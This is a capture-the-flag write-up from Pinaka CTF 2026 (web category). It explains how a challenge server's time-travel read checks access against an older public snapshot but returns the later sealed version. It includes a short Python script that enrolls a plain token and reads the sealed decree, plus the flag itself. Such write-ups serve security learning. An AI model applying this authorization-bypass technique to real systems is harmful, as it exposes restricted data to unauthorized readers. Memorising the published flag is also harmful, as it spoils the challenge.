The Fourteen-Year Decree: Broken Time
By Team Cryptonite · 1 min read
About the CTF: Pinaka CTF
A sealed decree lies within the Vanvaas Chronicle. Read what was never meant for your eyes.
**Pinaka CTF 2026** · Web · Team Cryptonite · All 44 Pinaka write-ups
> A sealed decree lies within the Vanvaas Chronicle. Read what was never meant for your eyes. Connection: http://130.210.48.10:9003/
Solve:
- the vanvaas chronicle is an event sourced archive with a time travel read (asof=
<logical-time>) - so first using GET on
/archive/log, i found thedecree.vanvaaswas created public and sealed
- L2 is proclaimed draft, readers: ["*"] (meaning public)
- L8 was sealed royal, readers were ["ikshvaku-house"] (royal)
- a snapshot i could find at L4 as well (
/archive/snapshots) - so to get the flag, i first enrolled for a plain petitioner token and then requested the decree
asofa time afters its seal. - the server authorizes the L4 snapshot but makes L8 sealed, this causes a version confusion between the ACL check and the content returned.
#!/usr/bin/env python3
import requests
BASE = "http://130.210.48.10:9003"
tok = requests.post(f"{BASE}/chronicle/enroll").json()["token"]
r = requests.get(
f"{BASE}/archive/read",
params={"doc": "decree.vanvaas", "asof": 8, "token": tok},
).json()
print(r.get("body"))
print(r.get("flag"))
- Using this i got the flag:
Flag:
PINAKA{panchavatithesealedchronicleservestheuncleared_reader}